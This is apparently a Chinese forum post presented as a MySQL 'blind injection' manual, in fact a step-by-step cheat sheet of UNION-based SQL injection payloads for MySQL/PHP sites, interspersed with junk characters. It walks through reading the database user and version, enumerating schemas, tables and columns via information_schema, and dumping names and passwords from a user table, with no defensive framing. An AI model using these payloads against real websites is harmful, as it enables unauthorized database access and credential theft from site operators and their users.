mysql盲注手册

admin

# }" u0 s& M& f: [  I' H教程内容:Mysql 5+php 注入
. l! c* q5 j  e8 {0 B, Y& N" Z
6 H3 O  ]3 C' o" j& U# m
& Q* H4 S: p8 M+ l, V: x2 V
& ?, U% i( L. F/ `& c  h一.查看MYSQL基本信息(库名,版本,用户)

2 n3 i8 {7 A. g3 wand 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*
! u$ i  V1 O: b- D
二.查数据库
5 E7 [; Y/ P# z7 W7 o7 x% j* t
8 g5 ^4 ~, Y  \" }and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8  from information_schema.SCHEMATA limit 1,1/*
+ ?5 S+ |* ~# w- {limit 从0开始递增，查询到3时浏览器返回错误，说明存在2个库。
! q) V( f6 }; F
三.暴表
( ?+ P7 v7 U! {0 G& I4 {
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*

limit 从0开始递增，查询到14时浏览器返回错误，说明此库存在13个表。

四.暴字段

and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*
0 w1 K; Z3 c3 U4 }
, a; x8 r  J: O: m, Y' w$ }4 O  H) `limit 从0开始递增，查询到时浏览器返回错误，说明此表存在N-1个列。
' J! O# L' ?, J0 L/ N  i
+ w5 Q2 x0 c6 F5 n五.暴数据

6 r7 u- r$ K& }7 C7 Mand 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*
3 s) i+ A+ d$ S, i1 m
' i4 l. v' B: l9 m
这里直接暴明文的密码，大多时候我们遇到的是MD5加密之后的密文。